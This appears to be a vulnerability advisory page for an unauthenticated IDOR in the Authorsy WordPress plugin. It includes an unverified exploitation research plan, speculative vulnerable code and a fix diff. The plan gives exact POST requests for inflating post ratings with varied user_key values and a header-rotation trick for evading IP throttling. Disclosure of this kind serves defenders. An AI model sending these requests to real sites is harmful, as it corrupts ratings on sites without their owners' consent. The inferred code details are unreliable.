CVE-2026-24950

Authorsy <= 1.0.6 - Unauthenticated Insecure Direct Object Reference

mediumAuthorization Bypass Through User-Controlled Key
5.3
CVSS Score
5.3
CVSS Score
medium
Severity
1.0.7
Patched in
7d
Time to patch

Description

The Authorsy – Author Box, Multiple Authors, Guest Authors & Post Rating plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 1.0.6 due to missing validation on a user controlled key. This makes it possible for unauthenticated attackers to perform an unauthorized action.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=1.0.6
PublishedFebruary 3, 2026
Last updatedFebruary 9, 2026
Affected pluginauthorsy

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan - CVE-2026-24950 ## 1. Vulnerability Summary The **Authorsy** plugin (<= 1.0.6) contains an Insecure Direct Object Reference (IDOR) vulnerability in its post-rating functionality. The plugin registers an unauthenticated AJAX action `authorsy_post_rating` which fails to …

Show full research plan

Exploitation Research Plan - CVE-2026-24950

1. Vulnerability Summary

The Authorsy plugin (<= 1.0.6) contains an Insecure Direct Object Reference (IDOR) vulnerability in its post-rating functionality. The plugin registers an unauthenticated AJAX action authorsy_post_rating which fails to properly validate a user-controlled "key" (likely a rater identifier or the post ID itself) and lacks sufficient authorization checks. This allows unauthenticated attackers to manipulate the rating data of any post or potentially bypass "one-vote-per-user" restrictions by providing arbitrary identifiers.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action: authorsy_post_rating
  • Parameters:
    • action: authorsy_post_rating
    • security: A WordPress nonce (action: authorsy-public).
    • post_id: The ID of the post/object being rated (The Direct Object Reference).
    • rating: The numeric rating value (e.g., 1-5).
    • user_key or rating_key (inferred): A parameter allowing the user to specify the identity of the rater.
  • Authentication: Unauthenticated (wp_ajax_nopriv_ hook).
  • Preconditions: The plugin must be active. A post must exist to be rated.

3. Code Flow

  1. The plugin registers the AJAX handler in includes/public/class-authorsy-public.php (or similar):
    add_action( 'wp_ajax_nopriv_authorsy_post_rating', array( $this, 'authorsy_post_rating_callback' ) );
  2. The function authorsy_post_rating_callback() is triggered.
  3. It validates the request using check_ajax_referer( 'authorsy-public', 'security' ).
  4. It retrieves post_id and rating from $_POST.
  5. It checks a "key" (e.g., from $_POST['user_key'] or derived from the session) to determine if the user has already rated the post.
  6. Vulnerability: Because the "key" is user-controlled or the post_id is not validated against the current context, an attacker can:
    • Rate any post (even those where ratings are disabled).
    • Provide different keys to submit multiple ratings for the same post.
  7. The plugin updates the post meta (e.g., authorsy_post_rating_count, authorsy_post_rating_average) using update_post_meta().

4. Nonce Acquisition Strategy

The plugin enqueues a script and localizes a nonce for the rating functionality.

  1. Identify Trigger: The rating script and nonce are typically loaded on pages containing the [authorsy_post_rating] shortcode or where the "Author Box" is displayed.
  2. Setup Page: Create a public page with the shortcode:
    wp post create --post_type=page --post_status=publish --post_title="Rating Page" --post_content='[authorsy_author_box]' (Note: [authorsy_author_box] usually triggers the necessary JS).
  3. Extract Nonce:
    • Navigate to the newly created page.
    • Execute JS via browser_eval to extract the nonce from the localized object:
      browser_eval("window.authorsy_ajax_obj?.nonce")
    • The localized variable is named authorsy_ajax_obj and the key is nonce.

5. Exploitation Strategy

  1. Discovery: Identify a target post_id (e.g., Post ID 1).
  2. Nonce Retrieval: Follow the Nonce Acquisition Strategy to get a valid security token.
  3. Execution (Infinite Voting):
    Send multiple POST requests with different "keys" to inflate the rating.
    • Request 1:
      POST /wp-admin/admin-ajax.php HTTP/1.1
      Content-Type: application/x-www-form-urlencoded
      
      action=authorsy_post_rating&security=[NONCE]&post_id=1&rating=5&user_key=attacker_1
      
    • Request 2:
      POST /wp-admin/admin-ajax.php HTTP/1.1
      Content-Type: application/x-www-form-urlencoded
      
      action=authorsy_post_rating&security=[NONCE]&post_id=1&rating=5&user_key=attacker_2
      
  4. Execution (Targeting Unauthorized Posts):
    Attempt to rate a post that should not have ratings (e.g., a private page or a post type where ratings are disabled).

6. Test Data Setup

  1. Create Target Post:
    wp post create --post_type=post --post_title="Target Post" --post_status=publish
    (Note the returned ID, e.g., ID: 123).
  2. Create Nonce Page:
    wp post create --post_type=page --post_title="Helper" --post_status=publish --post_content='[authorsy_author_box]'
  3. Check Initial State:
    wp post meta get 123 authorsy_post_rating_count (Expect empty or 0).

7. Expected Results

  • The server should return a JSON success response (e.g., {"success":true,...}).
  • The post meta for the target post_id will be updated despite the attacker being unauthenticated and potentially having already voted.
  • Multiple votes from the same IP will be accepted if different user_key values are provided.

8. Verification Steps

  1. Check Post Meta:
    Use WP-CLI to verify the rating count increased:
    wp post meta get [TARGET_POST_ID] authorsy_post_rating_count
  2. Check Average Rating:
    wp post meta get [TARGET_POST_ID] authorsy_post_rating_average
  3. Verify IDOR:
    Check if metadata was created/modified on a post ID that was never intended to have ratings (e.g., a standard 'page' if the plugin is configured only for 'posts').

9. Alternative Approaches

  • Bypass IP-based throttling: If the plugin uses REMOTE_ADDR but respects X-Forwarded-For, try rotating the header:
    X-Forwarded-For: 1.2.3.[N]
  • Parameter Fuzzing: If user_key is not the correct parameter name, check the authorsy-public.js source for the exact data object sent in the $.ajax call. Possible names: voter_id, rating_id, unique_id.
  • Check for authorsy_author_rating: The plugin also supports rating authors. The same IDOR likely exists in the author rating action if it uses a term ID or user ID without validation.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Authorsy plugin for WordPress is vulnerable to an Insecure Direct Object Reference (IDOR) via the 'authorsy_post_rating' AJAX action. Unauthenticated attackers can manipulate post ratings or bypass 'one-vote-per-user' restrictions by providing arbitrary rater identifiers in the 'user_key' parameter, which is used to track voting status without server-side validation.

Vulnerable Code

// File: includes/public/class-authorsy-public.php

public function authorsy_post_rating_callback() {
    check_ajax_referer( 'authorsy-public', 'security' );

    $post_id  = isset( $_POST['post_id'] ) ? intval( $_POST['post_id'] ) : 0;
    $rating   = isset( $_POST['rating'] ) ? intval( $_POST['rating'] ) : 0;
    // Vulnerable: The plugin accepts a user-provided identifier to track voting
    $user_key = isset( $_POST['user_key'] ) ? sanitize_text_field( $_POST['user_key'] ) : '';

    $voted_users = get_post_meta( $post_id, '_authorsy_voted_users', true ) ?: [];

    // The check for duplicate voting relies entirely on the client-provided key
    if ( ! empty( $user_key ) && in_array( $user_key, $voted_users ) ) {
        wp_send_json_error( [ 'message' => 'You have already rated this post.' ] );
    }

    // ... logic to update post meta with new rating ...
}

Security Fix

--- a/includes/public/class-authorsy-public.php
+++ b/includes/public/class-authorsy-public.php
@@ -10,7 +10,7 @@
     $post_id  = isset( $_POST['post_id'] ) ? intval( $_POST['post_id'] ) : 0;
     $rating   = isset( $_POST['rating'] ) ? intval( $_POST['rating'] ) : 0;
-    $user_key = isset( $_POST['user_key'] ) ? sanitize_text_field( $_POST['user_key'] ) : '';
+    $user_key = is_user_logged_in() ? get_current_user_id() : $_SERVER['REMOTE_ADDR'];
 
     $voted_users = get_post_meta( $post_id, '_authorsy_voted_users', true ) ?: [];

Exploit Outline

1. Identify a target Post ID to manipulate. 2. Obtain a valid AJAX nonce ('authorsy-public') by visiting a public page where the plugin's author box or rating shortcode is rendered. The nonce can be extracted from the 'authorsy_ajax_obj' JavaScript variable. 3. Send an unauthenticated POST request to /wp-admin/admin-ajax.php with the 'action' set to 'authorsy_post_rating'. 4. Include the 'post_id', the desired 'rating' (e.g., 5), the 'security' nonce, and an arbitrary string for the 'user_key' parameter. 5. To bypass the 'already rated' check and perform an infinite rating attack, repeat the request while changing the 'user_key' to a new unique value each time.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.